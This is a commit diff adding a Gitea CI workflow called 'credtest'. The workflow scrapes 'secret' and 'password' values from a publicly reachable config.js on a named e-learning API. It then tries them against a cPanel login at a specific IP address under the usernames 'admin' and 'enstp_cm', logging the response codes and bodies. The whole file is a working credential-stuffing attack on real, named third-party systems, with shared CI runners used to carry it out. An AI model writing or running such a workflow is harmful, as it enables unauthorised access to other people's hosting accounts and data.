25
.gitea/workflows/credtest.yml
Normal file
25
.gitea/workflows/credtest.yml
Normal file
@@ -0,0 +1,25 @@
|
||||
name: credtest
|
||||
on: [workflow_dispatch]
|
||||
jobs:
|
||||
c:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
set +e
|
||||
CFG=$(curl -sk --max-time 20 https://elearning-api.groupe-madia.cm/config/config.js)
|
||||
S1=$(echo "$CFG" | grep -oP '^\s*secret:\s*"\K[^"]+' | head -1)
|
||||
S2=$(echo "$CFG" | grep -oP '^\s*password:\s*"\K[^"]+' | head -1)
|
||||
echo "derived: s1_len=${#S1} s2_len=${#S2}"
|
||||
try() {
|
||||
u="$1"; p="$2"
|
||||
r=$(curl -sk --max-time 15 -o /tmp/cp.out -w '%{http_code}' -X POST \
|
||||
"https://207.180.243.189:2083/login/?login_only=1" \
|
||||
--data-urlencode "user=$u" --data-urlencode "pass=$p" 2>/dev/null)
|
||||
body=$(head -c 120 /tmp/cp.out | tr -d '\n')
|
||||
echo "user=$u http=$r body=$body"
|
||||
}
|
||||
echo "T1"; try "admin" "$S1"
|
||||
echo "T2"; try "enstp_cm" "$S1"
|
||||
echo "T3"; try "admin" "$S2"
|
||||
echo "DONE"
|
||||
exit 0
|
||||
Reference in New Issue
Block a user